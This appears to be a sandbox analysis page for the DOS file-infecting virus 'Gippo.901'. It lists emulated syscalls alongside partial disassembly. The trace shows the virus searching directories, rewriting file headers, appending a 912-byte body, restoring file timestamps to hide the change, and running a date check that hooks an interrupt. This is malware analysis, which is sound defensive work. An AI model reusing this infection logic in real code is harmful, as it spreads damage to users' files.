Sample viewer

vx.netlux.org/Virus.DOS.Gippo.901

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:10:01.8252673Z 26 PC: 12c6c | Set disk transfer address
2018-12-17T23:10:01.847307851Z 44 PC: 12c70 | Get time 0x12c70: and dh, 0xf
0x12c73: mov byte ptr [0x42e], dh
0x12c77: and dh, 3
0x12c7a: mov byte ptr [0x36a], dh
0x12c7e: and dl, 7
0x12c81: mov byte ptr [0x42f], dl
0x12c85: or dl, 1
0x12c88: mov byte ptr [0x369], dl
0x12c8c: xor dl, dl
0x12c8e: mov si, 0x3cd
0x12c91: mov ah, 0x47
0x12c93: int 0x21
0x12c95: mov byte ptr [0x3cc], 0x5c
0x12c9a: nop
0x12c9b: mov dx, 0x373
0x12c9e: mov ah, 0x3b
0x12ca0: int 0x21
0x12ca2: mov byte ptr [0x40d], 2
0x12ca7: nop
0x12ca8: mov cx, 0x18
2018-12-17T23:10:01.850470074Z 71 PC: 12c95 | Get current directory
2018-12-17T23:10:01.853754817Z 59 PC: 12ca2 | Change current directory
2018-12-17T23:10:01.86920292Z 78 PC: 12cb2 | Find first file
2018-12-17T23:10:01.87679096Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.879898591Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.890360592Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.894350951Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.897613382Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.910126789Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.913636215Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.916634339Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.919680153Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.924298062Z 59 PC: 12cce | Change current directory
2018-12-17T23:10:01.931558507Z 78 PC: 12cb2 | Find first file
2018-12-17T23:10:01.938389805Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.941948874Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.946196978Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.949104782Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.952012146Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.956775949Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.960588324Z 79 PC: 12cc3 | Find next file
2018-12-17T23:10:01.964212234Z 59 PC: 12cce | Change current directory
2018-12-17T23:10:01.972078648Z 78 PC: 12ce4 | Find first file
2018-12-17T23:10:01.979139508Z 67 PC: 12d36 | Get or set file attributes
2018-12-17T23:10:01.996607727Z 61 PC: 12d3e | Open file (Filename = '��� ��D=EXt �O�!s��\.����.����.�����ȁ��')
2018-12-17T23:10:02.006410008Z 66 PC: 12d51 | Move file pointer
2018-12-17T23:10:02.008843792Z 63 PC: 12d5b | Read file or device (Read 24 bytes on handle 5)
2018-12-17T23:10:02.01220027Z 66 PC: 12e04 | Move file pointer
2018-12-17T23:10:02.01488721Z 64 PC: 12e0e | Write file or device (Write 24 bytes on handle 5)
2018-12-17T23:10:02.018939165Z 66 PC: 12e17 | Move file pointer
2018-12-17T23:10:02.021027991Z 42 PC: 12e20 | Get date 0x12e20: mov byte ptr [0x394], dh
0x12e24: mov cx, word ptr [0x399]
0x12e28: mov dx, 0x10
0x12e2b: sub dx, cx
0x12e2d: add cx, 0x385
0x12e31: mov ah, 0x40
0x12e33: int 0x21
0x12e35: pop ax
0x12e36: mov byte ptr [0x394], ah
0x12e3a: mov cx, 0x2100
0x12e3d: mov dx, word ptr [0x3b7]
0x12e41: mov ax, 0x5701
0x12e44: int 0x21
0x12e46: mov bx, word ptr [0x39d]
0x12e4a: mov ah, 0x3e
0x12e4c: int 0x21
0x12e4e: mov ch, 0
0x12e50: mov cl, byte ptr [0x3cb]
0x12e54: mov ax, 0x4301
0x12e57: mov dx, 0x3bd
2018-12-17T23:10:02.024016367Z 64 PC: 12e35 | Write file or device (Write 912 bytes on handle 5)
2018-12-17T23:10:02.036824848Z 87 PC: 12e46 | Get or set file date and time
2018-12-17T23:10:02.047649852Z 62 PC: 12e4e | Close file
2018-12-17T23:10:02.056560378Z 67 PC: 12e5c | Get or set file attributes
2018-12-17T23:10:02.069383497Z 78 PC: 12e66 | Find first file
2018-12-17T23:10:02.07600439Z 59 PC: 12e76 | Change current directory
2018-12-17T23:10:02.081228768Z 42 PC: 12e7a | Get date 0x12e7a: cli
0x12e7b: dec dh
0x12e7d: jne 0x12e81
0x12e7f: mov dh, 0xc
0x12e81: cmp dh, byte ptr [0x394]
0x12e85: jne 0x12ee1
0x12e87: mov ax, 0x3508
0x12e8a: int 0x21
0x12e8c: mov word ptr [0x365], bx
0x12e90: mov word ptr [0x367], es
0x12e94: mov cx, 0x2000
0x12e97: mov bx, 0xa000
0x12e9a: mov es, word ptr [0x430]
0x12e9e: clc
0x12e9f: push bx
0x12ea0: mov ah, 0x4a
0x12ea2: int 0x21
0x12ea4: pop bx
0x12ea5: jae 0x12eb0
0x12ea7: sub bx, 5
2018-12-17T23:10:02.085156971Z 76 PC: 12aa4 | Terminate with return code (Return code = '0')